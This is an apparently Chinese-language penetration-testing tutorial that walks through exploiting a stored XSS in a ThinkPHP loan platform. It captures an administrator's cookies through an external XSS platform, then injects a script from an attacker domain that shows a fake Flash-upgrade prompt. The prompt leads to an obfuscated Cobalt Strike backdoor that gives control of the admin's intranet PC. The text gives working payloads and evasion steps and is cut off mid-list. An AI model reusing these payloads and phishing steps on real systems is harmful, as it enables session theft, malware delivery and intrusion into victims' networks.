渗透测试之地基钓鱼篇:thinkphp平台XSS钓鱼
字数 1614 2025-08-15 21:32:56

ThinkPHP平台XSS钓鱼渗透测试教学文档

一、前言与背景

本教学文档详细讲解如何利用ThinkPHP平台存在的XSS漏洞进行钓鱼攻击,最终获取管理员内网电脑权限的全过程。该技术仅用于教育目的,帮助安全人员了解攻击手法以加强防御。

二、环境准备

攻击者环境

  • Kali Linux攻击机:IP 192.168.1.9,运行Cobalt Strike服务端
  • VPS服务器:托管两个网站
    • ThinkPHP贷款平台:http://test1.dayuixiyou.cn/
    • 钓鱼网站:http://flash.dayuixiyou.cn

目标环境

  • 办公电脑:Windows 7系统,双网卡(192.168.175.153和10.10.1.5)

三、XSS漏洞发现与利用

1. 注册测试账号

  1. 访问ThinkPHP贷款平台
  2. 注册普通用户账号并登录
  3. 进入"个人中心"→"设置"→"结算信息"

2. 验证XSS漏洞

  1. 在结算信息输入框输入测试payload:<script>alert(1)</script>
  2. 提交后查看页面源代码,确认XSS代码未被过滤
  3. 确认漏洞存在:前端显示弹窗且源代码中保留原始XSS代码

3. 搭建XSS平台

  1. 访问XSS平台(如https://xss.pt)
  2. 注册账号并创建新项目
  3. 选择"Keepsession"保持会话选项
  4. 获取标准XSS利用代码:
    </tExtArEa>'"><sCRiPt sRC=https://xss.pt/..aJ></sCrIpT>
    

4. 植入XSS代码

  1. 将上述payload插入结算信息输入框
  2. 提交后观察XSS平台是否收到请求
  3. 确认XSS执行成功后,进行"提现申请"操作

5. 获取管理员Cookie

  1. 当管理员审核提现申请时,XSS代码会在管理员浏览器执行
  2. XSS平台将捕获管理员的Cookie和URL信息

6. 利用Cookie登录后台

  1. 通过目录扫描发现管理后台登录页面
  2. 使用Burp Suite拦截登录请求
  3. 替换请求中的Cookie为获取到的管理员Cookie
  4. 成功进入管理后台

四、XSS钓鱼攻击实施

1. 搭建钓鱼网站

  1. 在VPS上部署伪造的Flash更新页面
  2. 页面URL:http://flash.dayuixiyou.cn

2. 生成免杀后门

  1. 使用Cobalt Strike生成C#语言的shellcode
  2. 进行代码混淆(可使用Python的tinyaes模块)
  3. 使用pyinstaller生成exe文件
  4. 将后门命名为flashplayer_install_cn.exe

3. 修改钓鱼页面源码

  1. 修改index.html中的下载链接指向后门文件
    <a href="flashplayer_install_cn.exe">立即下载</a>
    
  2. 创建诱骗JS文件(flash-test.js),内容为提示Flash版本过低并重定向

4. 植入XSS钓鱼代码

  1. 在结算信息中插入新的XSS payload:
    "><sCRiPt sRC=//flash.dayuixiyou.cn/flash-test.js></sCrIpT><"
    
  2. 提交后等待管理员审核

5. 钓鱼过程

  1. 管理员访问提现申请页面时执行XSS代码
  2. 显示"您的FLASH版本过低,尝试升级后访问该页面!"提示
  3. 点击确定后跳转至钓鱼页面
  4. 管理员下载并执行伪装成Flash安装包的后门程序

6. 获取权限

  1. 后门程序连接Cobalt Strike服务端
  2. 攻击者成功获取管理员内网电脑的控制权限

五、技术要点总结

  1. XSS漏洞利用关键

    • 寻找未过滤用户输入的页面
    • 使用大小写混淆绕过简单过滤(如